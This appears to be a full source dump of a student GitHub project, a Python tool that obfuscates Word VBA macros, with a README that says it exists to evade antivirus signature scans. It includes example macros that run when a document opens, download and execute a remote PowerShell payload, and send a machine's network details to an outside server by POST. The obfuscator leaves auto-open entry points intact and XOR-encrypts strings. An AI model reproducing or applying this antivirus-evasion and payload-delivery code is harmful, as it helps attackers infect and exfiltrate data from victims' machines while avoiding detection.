Repository: bonnetn/vba-obfuscator
Branch: master
Commit: 390c3846a391
Files: 24
Total size: 29.8 KB
Directory structure:
gitextract_qj0627a1/
├── .gitignore
├── .vscode/
│ └── settings.json
├── Dockerfile
├── README.md
├── example_macro/
│ ├── download_payload.vba
│ └── wmi_example.vba
├── obfuscate.py
├── obfuscator/
│ ├── __init__.py
│ ├── log.py
│ ├── modifier/
│ │ ├── __init__.py
│ │ ├── base.py
│ │ ├── break_lines_too_long.py
│ │ ├── comments.py
│ │ ├── functions_vars.py
│ │ ├── misc.py
│ │ ├── numbers.py
│ │ └── strings/
│ │ ├── __init__.py
│ │ ├── base64.vbs
│ │ ├── crypt.py
│ │ ├── split.py
│ │ └── strings.py
│ ├── msdocument.py
│ └── util.py
└── requirements.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.idea/
**/*.pyc
================================================
FILE: .vscode/settings.json
================================================
{
"python.pythonPath": "/usr/bin/python3"
}
================================================
FILE: Dockerfile
================================================
FROM python:3.7-alpine
WORKDIR /obfuscator
COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
ENTRYPOINT [ "python", "./obfuscate.py" ]
================================================
FILE: README.md
================================================
# VBA obfuscator
> Final year school project, obfuscate Word macros.
This program obfuscates the Visual Basic code from Microsoft Word macros.
The transformations applied on the code allows the macros to evade signature scans from Antivirus softwares.
## Usage example
With Docker:
```sh
cat YOUR_MACRO.vbs | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin
```
This command will obfuscate the whole code.
:warning: **Pay attention** to the first two lines!
:warning: It is necessary to add a document variable to the word document before pasting the code.
You can dispose of the first two lines once it has been executed once on the Word document.
## Development setup
Install python3 and the requirements.
> pip install -r requirements.txt
To run the tests:
> pytest
Then run:
> python3 obfuscate.py YOUR_MACRO.vbs
## Authors
Thomas Leroy - thomas.leroy.mp@gmail.com
Nicolas Bonnet – mail@nicolasbon.net
## How to use (YouTube)
> Tutorial video on how to obfuscate your macros and put them in a Word Document.
Click on the picture to see the video *(enable the subtitles)*.
[](https://www.youtube.com/watch?v=L0DlPOLx2k0)
## Proof of concept - Obfuscation & Antivirus
> Antivirus signature scan evasion.
Click on the picture to see the video *(enable the subtitles)*.
[](https://www.youtube.com/watch?v=6Yk0ka5v74I)
## Quick how to use...
[](https://asciinema.org/a/5Ptyf5oNGT7xtkZZvnqNDHMml)
## Project report
The report of this project is available [here](https://www.thole.fr/files/2019-02-10/Report.pdf).
It is in French, so we are sorry for people that don't speak this lovely language.
## Disclaimer
The VBA obfuscator tool is provided for educational and research purposes only.
The authors of this project are no way responsible for any misuse of this tool.
Do not attempt to violate the law with our project, we will not take any responsability for your actions.
================================================
FILE: example_macro/download_payload.vba
================================================
Sub Auto_Open()
Dim exec As String
Dim testvar As String
exec = "powershell.exe ""IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))"""
Shell (exec)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
================================================
FILE: example_macro/wmi_example.vba
================================================
Sub WMI()
Dim oWMISrvEx As Object 'SWbemServicesEx
Dim oWMIObjSet As Object 'SWbemServicesObjectSet
Dim oWMIObjEx As Object 'SWbemObjectEx
Dim oWMIProp As Object 'SWbemProperty
Dim sWQL As String 'WQL Statement
Dim n As Long 'Generic Counter
sWQL = "Select * From Win32_NetworkAdapterConfiguration"
Set oWMISrvEx = GetObject("winmgmts:root/CIMV2")
Set oWMIObjSet = oWMISrvEx.ExecQuery(sWQL)
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
URL = "http://192.168.99.141:1234"
Dim tab_data()
For Each oWMIObjEx In oWMIObjSet
'Put a STOP here then View > Locals Window to see all properties
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print "IP:"; oWMIObjEx.IPAddress(0)
objHTTP.Open "POST", URL, True
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send oWMIObjEx.IPAddress(0)
Debug.Print "Host name:"; oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & "(" & n & ")", oWMIProp.Value(n)
objHTTP.Open "POST", URL, True
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
objHTTP.Open "POST", URL, True
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
objHTTP.send oWMIProp.Value
End If
Next
End If
Next
End Sub
================================================
FILE: obfuscate.py
================================================
#!/usr/bin/env python3
import argparse
import logging
import sys
from obfuscator.log import configure_logging
from obfuscator.modifier.base import Pipe
from obfuscator.modifier.break_lines_too_long import BreakLinesTooLong
from obfuscator.modifier.comments import StripComments
from obfuscator.modifier.functions_vars import RandomizeNames
from obfuscator.modifier.misc import RemoveEmptyLines, RemoveIndentation
from obfuscator.modifier.numbers import ReplaceIntegersWithAddition, ReplaceIntegersWithXor
from obfuscator.modifier.strings import CryptStrings, SplitStrings
from obfuscator.msdocument import MSDocument
class BadPathError(ValueError):
pass
def main():
configure_logging()
LOG.info("VBA obfuscator - Thomas LEROY & Nicolas BONNET")
parser = argparse.ArgumentParser(description='Obfuscate a VBA file.')
parser.add_argument('input_file', type=str, action='store',
help='path of the file to obfuscate')
parser.add_argument('--output_file', type=str, action='store',
help='output file (if no file is supplied, stdout will be used)')
args = parser.parse_args()
try:
doc = MSDocument(args.input_file)
except OSError as e:
raise BadPathError("Could not open input file") from e
LOG.info("Loaded the code.")
Pipe(doc).run(
SplitStrings(),
CryptStrings(),
RandomizeNames(),
ReplaceIntegersWithAddition(),
ReplaceIntegersWithXor(),
StripComments(),
RemoveIndentation(),
BreakLinesTooLong(),
RemoveEmptyLines(),
)
LOG.info("Obfuscated the code.")
if args.output_file:
try:
with open(args.output_file, "w") as f:
f.write(doc.code)
except OSError as e:
raise BadPathError("Could not open output file") from e
LOG.info("Wrote to file.")
else:
sys.stdout.write(doc.code)
if __name__ == "__main__":
try:
LOG = logging.getLogger(__name__)
main()
except BadPathError as e:
LOG.error("{}: {}.".format(e.args[0], e.__cause__.args[1]))
sys.exit(2)
except KeyboardInterrupt:
sys.exit(1)
================================================
FILE: obfuscator/__init__.py
================================================
================================================
FILE: obfuscator/log.py
================================================
import logging
import sys
def configure_logging():
# create a stdout handler
handler = logging.StreamHandler(sys.stderr)
handler.setLevel(logging.INFO)
# create a logging format
formatter = logging.Formatter('[%(levelname)s] %(message)s')
handler.setFormatter(formatter)
logging.basicConfig(
handlers=[handler],
level=logging.DEBUG,
)
================================================
FILE: obfuscator/modifier/__init__.py
================================================
================================================
FILE: obfuscator/modifier/base.py
================================================
from obfuscator.msdocument import MSDocument
class Modifier:
def run(self, doc: MSDocument) -> None:
raise NotImplementedError()
class Pipe:
def __init__(self, doc: MSDocument):
self.doc = doc
def run(self, *args: Modifier) -> None:
for m in args:
m.run(self.doc)
================================================
FILE: obfuscator/modifier/break_lines_too_long.py
================================================
import logging
from typing import List
from pygments import highlight
from pygments.formatter import Formatter
from pygments.lexers.dotnet import VbNetLexer
from pygments.token import Token
from obfuscator.modifier.base import Modifier
from obfuscator.msdocument import MSDocument
MAX_LINE_WIDTH = 500
LOG = logging.getLogger(__name__)
def _do_split_line(line: str) -> str:
return highlight(line, VbNetLexer(), _BreakLinesTooLong())
def _split_line_if_necessary(line: str) -> str:
if len(line) >= MAX_LINE_WIDTH:
LOG.info("Line '{:.30s}[...]' is too long.".format(line))
return _do_split_line(line)
return line
class BreakLinesTooLong(Modifier):
def run(self, doc: MSDocument) -> None:
code = doc.code
code = code.split("\n")
code = map(_split_line_if_necessary, code)
code = "\n".join(code)
doc.code = code
def break_line(chunks: List[str]):
lines = ['']
for chunk in chunks:
if len(lines[-1]) + len(chunk) < MAX_LINE_WIDTH:
lines[-1] += chunk
else:
lines += [chunk]
result = " _\n".join(lines)
return result
class _BreakLinesTooLong(Formatter):
def format(self, tokensource, outfile):
line = ''
# First find out all the position where we can "cut" the string.
break_points = [0]
for ttype, value in tokensource:
line += value
if ttype == Token.Punctuation and value in ",+&":
break_points.append(len(line))
break_points.append(len(line))
# Cut the strings at all the previously defined positions.
chunks = []
for i in range(len(break_points) - 1):
bp1 = break_points[i]
bp2 = break_points[i + 1]
chunks.append(line[bp1:bp2])
# Take all theses chunks and construct lines.
outfile.write(break_line(chunks))
================================================
FILE: obfuscator/modifier/comments.py
================================================
from pygments import highlight
from pygments.formatter import Formatter
from pygments.lexers.dotnet import VbNetLexer
from pygments.token import Token
from obfuscator.modifier.base import Modifier
from obfuscator.msdocument import MSDocument
class StripComments(Modifier):
def run(self, doc: MSDocument) -> None:
doc.code = highlight(doc.code, VbNetLexer(), _StripCommentsFormatter())
class _StripCommentsFormatter(Formatter):
def format(self, tokensource, outfile):
for ttype, value in tokensource:
if ttype != Token.Comment:
outfile.write(value)
else:
outfile.write(value[-1])
================================================
FILE: obfuscator/modifier/functions_vars.py
================================================
import logging
from pygments import highlight
from pygments.formatter import Formatter
from pygments.lexers.dotnet import VbNetLexer
from pygments.token import Token
import obfuscator.modifier.base
import obfuscator.msdocument
from obfuscator.util import get_random_string_of_random_length, get_variables_defined, get_variables_parameters, \
get_functions, get_variables_const
LOG = logging.getLogger(__name__)
BLACKLIST_SYMBOL = {
"Workbook_Open", "AutoOpen", "Auto_Open", "Document_Open"
}
class RandomizeNames(obfuscator.modifier.base.Modifier):
def run(self, doc: obfuscator.msdocument.MSDocument) -> None:
vars = set(get_variables_defined(doc.code))
consts = set(get_variables_const(doc.code))
params = set(get_variables_parameters(doc.code))
functions = set(get_functions(doc.code))
names = {}
for symbol in vars | consts | params | functions:
if symbol not in BLACKLIST_SYMBOL:
names[symbol] = get_random_string_of_random_length()
doc.code = highlight(doc.code, VbNetLexer(), _RandomizeNamesFormatter(names))
class _RandomizeNamesFormatter(Formatter):
def __init__(self, names):
self.names = names
def format(self, tokensource, outfile):
left = set()
for ttype, value in tokensource:
if ttype == Token.Name.Function:
outfile.write(self._get_name(value))
elif ttype == Token.Name:
outfile.write(self._get_name(value))
else:
left = left | set(ttype)
outfile.write(value)
def _get_name(self, name: str) -> str:
if name in self.names:
LOG.debug("Replacing {} with {}.".format(name, self.names[name]))
return self.names[name]
LOG.debug("Ignoring {}.".format(name))
return name
================================================
FILE: obfuscator/modifier/misc.py
================================================
import re
from obfuscator.modifier.base import Modifier
from obfuscator.msdocument import MSDocument
class RemoveIndentation(Modifier):
def run(self, doc: MSDocument) -> None:
doc.code = re.sub(r'^\s*', '', doc.code, flags=re.MULTILINE)
class RemoveEmptyLines(Modifier):
def run(self, doc: MSDocument) -> None:
doc.code = re.sub(r'(?:(\s*)\n)+', '\n', doc.code)
================================================
FILE: obfuscator/modifier/numbers.py
================================================
# Token.Literal.Number.Integer
import random
from pygments import highlight
from pygments.formatter import Formatter
from pygments.lexers.dotnet import VbNetLexer
from pygments.token import Token
from obfuscator.modifier.base import Modifier
from obfuscator.msdocument import MSDocument
class ReplaceIntegersWithXor(Modifier):
def run(self, doc: MSDocument) -> None:
doc.code = highlight(doc.code, VbNetLexer(), _XorFormatter())
class ReplaceIntegersWithAddition(Modifier):
def run(self, doc: MSDocument) -> None:
doc.code = highlight(doc.code, VbNetLexer(), _AdditionFormatter())
class _AdditionFormatter(Formatter):
def format(self, tokensource, outfile):
for ttype, value in tokensource:
if ttype == Token.Literal.Number.Integer and random.random() > .5:
v = int(value)
x = random.randint(0, v)
y = v - x
outfile.write("({}+{})".format(x, y))
else:
outfile.write(value)
class _XorFormatter(Formatter):
def format(self, tokensource, outfile):
for ttype, value in tokensource:
if ttype == Token.Literal.Number.Integer and random.random() > .5:
v = int(value)
x = random.randint(0, v)
y = v ^ x
outfile.write("({} Xor {})".format(x, y))
else:
outfile.write(value)
================================================
FILE: obfuscator/modifier/strings/__init__.py
================================================
from obfuscator.modifier.strings.crypt import CryptStrings
from obfuscator.modifier.strings.split import SplitStrings
================================================
FILE: obfuscator/modifier/strings/base64.vbs
================================================
' A Base64 Encoder/Decoder.
'
' This module is used to encode and decode data in Base64 format as described in RFC 1521.
'
' Home page: www.source-code.biz.
' Copyright 2007: Christian d'Heureuse, Inventec Informatik AG, Switzerland.
'
' This module is multi-licensed and may be used under the terms
' of any of the following licenses:
'
' EPL, Eclipse Public License, V1.0 or later, http://www.eclipse.org/legal
' LGPL, GNU Lesser General Public License, V2.1 or later, http://www.gnu.org/licenses/lgpl.html
' GPL, GNU General Public License, V2 or later, http://www.gnu.org/licenses/gpl.html
' AGPL, GNU Affero General Public License V3 or later, http://www.gnu.org/licenses/agpl.html
' AL, Apache License, V2.0 or later, http://www.apache.org/licenses
' BSD, BSD License, http://www.opensource.org/licenses/bsd-license.php
' MIT, MIT License, http://www.opensource.org/licenses/MIT
'
' Please contact the author if you need another license.
' This module is provided "as is", without warranties of any kind.
' Option Explicit
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
' Encodes a string into Base64 format.
' No blanks or line breaks are inserted.
' Parameters:
' S a String to be encoded.
' Returns: a String with the Base64 encoded data.
' Public Function Base64EncodeString(ByVal s As String) As String
' Base64EncodeString = Base64Encode(ConvertStringToBytes(s))
' End Function
' Encodes a byte array into Base64 format.
' No blanks or line breaks are inserted.
' Parameters:
' InData an array containing the data bytes to be encoded.
' Returns: a string with the Base64 encoded data.
' Public Function Base64Encode(InData() As Byte)
' Base64Encode = Base64Encode2(InData, UBound(InData) - LBound(InData) + 1)
' End Function
' Encodes a byte array into Base64 format.
' No blanks or line breaks are inserted.
' Parameters:
' InData an array containing the data bytes to be encoded.
' InLen number of bytes to process in InData.
' Returns: a string with the Base64 encoded data.
' Public Function Base64Encode2(InData() As Byte, ByVal InLen As Long) As String
' If Not InitDone Then Init
' If InLen = 0 Then Base64Encode2 = "": Exit Function
' Dim ODataLen As Long: ODataLen = (InLen * 4 + 2) \ 3 ' output length without padding
' Dim OLen As Long: OLen = ((InLen + 2) \ 3) * 4 ' output length including padding
' Dim Out() As Byte
' ReDim Out(0 To OLen - 1) As Byte
' Dim ip0 As Long: ip0 = LBound(InData)
' Dim ip As Long
' Dim op As Long
' Do While ip < InLen
' Dim i0 As Byte: i0 = InData(ip0 + ip): ip = ip + 1
' Dim i1 As Byte: If ip < InLen Then i1 = InData(ip0 + ip): ip = ip + 1 Else i1 = 0
' Dim i2 As Byte: If ip < InLen Then i2 = InData(ip0 + ip): ip = ip + 1 Else i2 = 0
' Dim o0 As Byte: o0 = i0 \ 4
' Dim o1 As Byte: o1 = ((i0 And 3) * &H10) Or (i1 \ &H10)
' Dim o2 As Byte: o2 = ((i1 And &HF) * 4) Or (i2 \ &H40)
' Dim o3 As Byte: o3 = i2 And &H3F
' Out(op) = Map1(o0): op = op + 1
' Out(op) = Map1(o1): op = op + 1
' Out(op) = IIf(op < ODataLen, Map1(o2), Asc("=")): op = op + 1
' Out(op) = IIf(op < ODataLen, Map1(o3), Asc("=")): op = op + 1
' Loop
' Base64Encode2 = ConvertBytesToString(Out)
' End Function
' Decodes a string from Base64 format.
' Parameters:
' s a Base64 String to be decoded.
' Returns a String containing the decoded data.
' Public Function Base64DecodeString(ByVal s As String) As String
' If s = "" Then Base64DecodeString = "": Exit Function
' Base64DecodeString = ConvertBytesToString(Base64Decode(s))
' End Function
' Decodes a byte array from Base64 format.
' Parameters
' s a Base64 String to be decoded.
' Returns: an array containing the decoded data bytes.
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
' If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
' Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Err.Raise vbObjectError, , ""
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
' Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Err.Raise vbObjectError, , ""
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
' set Map1
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
' set Map2
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
' Private Function ConvertBytesToString(b() As Byte) As String
' Dim l As Long: l = UBound(b) - LBound(b) + 1
' Dim b2() As Byte
' ReDim b2(0 To (2 * l) - 1) As Byte
' Dim p0 As Long: p0 = LBound(b)
' Dim p As Long
' For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
' Dim s As String: s = b2
' ConvertBytesToString = s
' End Function
================================================
FILE: obfuscator/modifier/strings/crypt.py
================================================
import base64
import os
import logging
import random
from typing import List
from pygments import highlight
from pygments.lexers.dotnet import VbNetLexer
from obfuscator.modifier.base import Modifier
from obfuscator.modifier.strings.strings import StringFormatter
from obfuscator.msdocument import MSDocument
from obfuscator.util import get_random_string, split_var_declaration_from_code
LOG = logging.getLogger(__name__)
VBA_XOR_FUNCTION = split_var_declaration_from_code("""
Private Function unxor(ciphertext As Variant, start As Integer)
Dim cleartext As String
Dim key() As Byte
key = Base64Decode(ActiveDocument.Variables("{}"))
cleartext = ""
For i = LBound(ciphertext) To UBound(ciphertext)
cleartext = cleartext & Chr(key(i+start) Xor ciphertext(i))
Next
unxor = cleartext
End Function
""")
with open(os.path.join(os.path.dirname(__file__), "base64.vbs")) as f:
VBA_BASE64_FUNCTION = split_var_declaration_from_code(f.read())
class CryptStrings(Modifier):
def run(self, doc: MSDocument) -> None:
LOG.debug('Generating document variable name.')
formatter = EncryptStringsFmtr()
doc.code = highlight(doc.code, VbNetLexer(), formatter)
document_var = get_random_string(16)
code_prefix, code_suffix = split_var_declaration_from_code(doc.code)
# Merge the codes: we must keep the global variables declarations on top.
doc.code = code_prefix + VBA_BASE64_FUNCTION[0] + VBA_XOR_FUNCTION[0] + \
code_suffix + VBA_BASE64_FUNCTION[1] + VBA_XOR_FUNCTION[1].format(document_var)
b64 = base64.b64encode(bytes(formatter.crypt_key)).decode()
MAX_LENGTH = 512
printable_b64 = [b64[i:i + MAX_LENGTH] for i in range(0, len(b64), MAX_LENGTH)]
printable_b64 = '" & _\n"'.join(printable_b64)
LOG.info('''Paste this in your VBA editor to add the Document Variable:
ActiveDocument.Variables.Add Name:="{}", Value:="{}"'''.format(document_var, printable_b64))
doc.code = '"Use this line to add the document variable to you file and then remove these comments."\n' + \
'ActiveDocument.Variables.Add Name:="{}", Value:="{}"\n'.format(document_var,
printable_b64) + doc.code
doc.doc_var[document_var] = b64
class EncryptStringsFmtr(StringFormatter):
def __init__(self):
super().__init__()
self.crypt_key = []
def _obfuscate_string(self, s: str) -> str:
s = s[1:-1]
LOG.debug("Generating XOR key for '{}'.".format(s))
start = len(self.crypt_key)
key = _get_random_key(len(s))
self.crypt_key += key
LOG.debug("XOR key will be at [{}; {}].".format(start, len(key)))
ciphertext = _xor_crypt(s, key)
array = _to_vba_array(ciphertext)
LOG.debug("Encrypted string to VBA Array -> {}.".format(array))
return 'unxor({},{})'.format(array, start)
def _run_on_string(self, s: str):
return self._obfuscate_string(s)
def _get_random_key(n: int) -> List[int]:
return [random.randint(0, 255) for _ in range(n)]
def _xor(t):
a, b = t
return a ^ b
def _xor_crypt(msg, key):
msg = map(ord, msg)
str_key = zip(msg, key)
return map(_xor, str_key)
def _to_vba_array(arr):
arr = map(str, arr)
numbers = ",".join(arr)
return "Array({})".format(numbers)
================================================
FILE: obfuscator/modifier/strings/split.py
================================================
import logging
import random
from pygments import highlight
from pygments.lexers.dotnet import VbNetLexer
from obfuscator.modifier.base import Modifier
from obfuscator.modifier.strings.strings import StringFormatter
from obfuscator.msdocument import MSDocument
LOG = logging.getLogger(__name__)
class SplitStrings(Modifier):
def run(self, doc: MSDocument) -> None:
doc.code = highlight(doc.code, VbNetLexer(), _SplitStringsFmtr())
class _SplitStringsFmtr(StringFormatter):
def __init__(self):
super().__init__()
self.crypt_key = []
def _split_string(self, s: str) -> str:
if len(s) > 8:
s = s.strip('"')
pos = _split_string(s)
splitted_string = '"{}" & "{}"'.format(s[:pos], s[pos:])
LOG.debug("Splitted '{}' in two.".format(s))
return splitted_string
else:
return s
def _run_on_string(self, s: str):
return self._split_string(s)
def _split_string(s: str) -> int:
"""
Split a string in two. This function will never split an escaped double quote ("") in half.
:param s:
:return:
"""
split_possibilities = len(s) - 1
impossible_split_pos = s.count('"') // 2
if split_possibilities - impossible_split_pos <= 0:
return -1
split_possibilities -= impossible_split_pos
i = 0
pos = random.randint(1, split_possibilities)
while pos > 0:
if s[i] == '"':
i = i + 1
i = i + 1
pos = pos - 1
return i
================================================
FILE: obfuscator/modifier/strings/strings.py
================================================
import logging
from pygments.formatter import Formatter
from pygments.token import Token
LOG = logging.getLogger(__name__)
IGNORED_SYMBOLS = {"Const", "Declare"}
class StringFormatter(Formatter):
def __init__(self, **options):
super().__init__(**options)
self.lastval = ""
self.lasttype = None
def _run_on_string(self, s: str) -> str:
raise NotImplementedError()
def format(self, tokensource, outfile):
skip_line = False
for ttype, value in tokensource:
if self.lasttype:
if self.lasttype == ttype:
self.lastval += value
else:
if "\n" in self.lastval:
skip_line = False
if ttype == Token.Keyword and value in IGNORED_SYMBOLS: # Skip the line if it is a const.
skip_line = True
# Crypt strings unless we are skipping the line.
if self.lasttype == Token.Literal.String:
if skip_line:
outfile.write(self.lastval)
else:
outfile.write(self._run_on_string(self.lastval))
else:
outfile.write(self.lastval)
self.lastval = value
else:
self.lastval = value
self.lasttype = ttype
outfile.write(value)
================================================
FILE: obfuscator/msdocument.py
================================================
class MSDocument:
def __init__(self, path: str):
with open(path, "r") as f:
self.code = f.read()
self.doc_var = {}
================================================
FILE: obfuscator/util.py
================================================
import random
import re
import string
def get_random_string(size: int) -> str:
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
def get_random_string_of_random_length() -> str:
var_length = random.randint(10, 14)
return get_random_string(var_length)
def replace_whole_word(content: str, var_name: str, new_name: str) -> str:
var_name = re.escape(var_name)
new_name = re.escape(new_name)
pattern = r"\b{}\b".format(var_name)
result = re.sub(pattern, new_name, content)
return result
def get_functions(code):
"""
Return all functions names defined in the code.
:param code:
:return:
"""
result = re.finditer("(?:Function|Sub)[ ]+(\w+)\(", code, flags=re.M)
result = map(lambda x: x.group(1), result)
result = list(result)
number_of_routines = len(re.findall("(?:End Sub|End Function)", code))
assert number_of_routines <= len(result), "Could not find the name of all the routines"
return result
def get_variables_parameters(code):
"""
Return all parameters (arguments of functions) names defined in the code.
:param code:
:return:
"""
var_names = re.finditer("(?:Function|Sub)[ ]+\w+\(([^\n\)]+)\)", code, flags=re.M)
var_names = map(lambda x: x.group(1), var_names)
var_names = map(extract_variables, var_names)
result = []
for names in var_names:
result += names
return result
def get_variables_const(code):
"""
Return all variables names defined such as: "Const MyVar..."
:param code:
:return:
"""
var_names = re.finditer("(?:Const|Set)[ ]+(\w+)[ ]+=", code, flags=re.M)
var_names = map(lambda x: x.group(1), var_names)
return var_names
def get_variables_defined(code):
"""
Return all variables names defined such as: "Dim MyVar..."
:param code:
:return:
"""
var_names = re.finditer("^\s*.*(?:Dim(?: Preserve)?|Private|Public)[ ]((?:\w+(?:[ ]+As[ ]+\w+)?[, ]*)+)", code, flags=re.M)
var_names = map(lambda x: x.group(1), var_names)
var_names = map(extract_variables, var_names)
result = []
for names in var_names:
result += names
return result
def extract_variables(text):
text = text.split(",")
for i, s in enumerate(text):
s = s.strip()
s = s.split()
if s[0] == "ByVal":
s = s[1]
else:
s = s[0]
text[i] = s
return text
def split_var_declaration_from_code(code):
""" Extract the global variable declarations (prefix) at the beginning of the code from the actual code (suffix)"""
regex = r'(^(?:\s|.)*?)(.*?(?:Sub|Function)(?:\s|.)*$)'
match = re.match(regex, code)
assert len(match.groups()) == 2, "Could not find the prefix & suffix of the code"
return match.group(1), match.group(2)
================================================
FILE: requirements.txt
================================================
pygments
gitextract_qj0627a1/ ├── .gitignore ├── .vscode/ │ └── settings.json ├── Dockerfile ├── README.md ├── example_macro/ │ ├── download_payload.vba │ └── wmi_example.vba ├── obfuscate.py ├── obfuscator/ │ ├── __init__.py │ ├── log.py │ ├── modifier/ │ │ ├── __init__.py │ │ ├── base.py │ │ ├── break_lines_too_long.py │ │ ├── comments.py │ │ ├── functions_vars.py │ │ ├── misc.py │ │ ├── numbers.py │ │ └── strings/ │ │ ├── __init__.py │ │ ├── base64.vbs │ │ ├── crypt.py │ │ ├── split.py │ │ └── strings.py │ ├── msdocument.py │ └── util.py └── requirements.txt
SYMBOL INDEX (69 symbols across 13 files)
FILE: obfuscate.py
class BadPathError (line 17) | class BadPathError(ValueError):
function main (line 21) | def main():
FILE: obfuscator/log.py
function configure_logging (line 5) | def configure_logging():
FILE: obfuscator/modifier/base.py
class Modifier (line 4) | class Modifier:
method run (line 5) | def run(self, doc: MSDocument) -> None:
class Pipe (line 9) | class Pipe:
method __init__ (line 10) | def __init__(self, doc: MSDocument):
method run (line 13) | def run(self, *args: Modifier) -> None:
FILE: obfuscator/modifier/break_lines_too_long.py
function _do_split_line (line 17) | def _do_split_line(line: str) -> str:
function _split_line_if_necessary (line 21) | def _split_line_if_necessary(line: str) -> str:
class BreakLinesTooLong (line 28) | class BreakLinesTooLong(Modifier):
method run (line 29) | def run(self, doc: MSDocument) -> None:
function break_line (line 39) | def break_line(chunks: List[str]):
class _BreakLinesTooLong (line 51) | class _BreakLinesTooLong(Formatter):
method format (line 52) | def format(self, tokensource, outfile):
FILE: obfuscator/modifier/comments.py
class StripComments (line 10) | class StripComments(Modifier):
method run (line 11) | def run(self, doc: MSDocument) -> None:
class _StripCommentsFormatter (line 15) | class _StripCommentsFormatter(Formatter):
method format (line 16) | def format(self, tokensource, outfile):
FILE: obfuscator/modifier/functions_vars.py
class RandomizeNames (line 20) | class RandomizeNames(obfuscator.modifier.base.Modifier):
method run (line 21) | def run(self, doc: obfuscator.msdocument.MSDocument) -> None:
class _RandomizeNamesFormatter (line 35) | class _RandomizeNamesFormatter(Formatter):
method __init__ (line 36) | def __init__(self, names):
method format (line 39) | def format(self, tokensource, outfile):
method _get_name (line 50) | def _get_name(self, name: str) -> str:
FILE: obfuscator/modifier/misc.py
class RemoveIndentation (line 7) | class RemoveIndentation(Modifier):
method run (line 8) | def run(self, doc: MSDocument) -> None:
class RemoveEmptyLines (line 12) | class RemoveEmptyLines(Modifier):
method run (line 13) | def run(self, doc: MSDocument) -> None:
FILE: obfuscator/modifier/numbers.py
class ReplaceIntegersWithXor (line 13) | class ReplaceIntegersWithXor(Modifier):
method run (line 14) | def run(self, doc: MSDocument) -> None:
class ReplaceIntegersWithAddition (line 18) | class ReplaceIntegersWithAddition(Modifier):
method run (line 19) | def run(self, doc: MSDocument) -> None:
class _AdditionFormatter (line 23) | class _AdditionFormatter(Formatter):
method format (line 24) | def format(self, tokensource, outfile):
class _XorFormatter (line 35) | class _XorFormatter(Formatter):
method format (line 36) | def format(self, tokensource, outfile):
FILE: obfuscator/modifier/strings/crypt.py
class CryptStrings (line 34) | class CryptStrings(Modifier):
method run (line 35) | def run(self, doc: MSDocument) -> None:
class EncryptStringsFmtr (line 63) | class EncryptStringsFmtr(StringFormatter):
method __init__ (line 64) | def __init__(self):
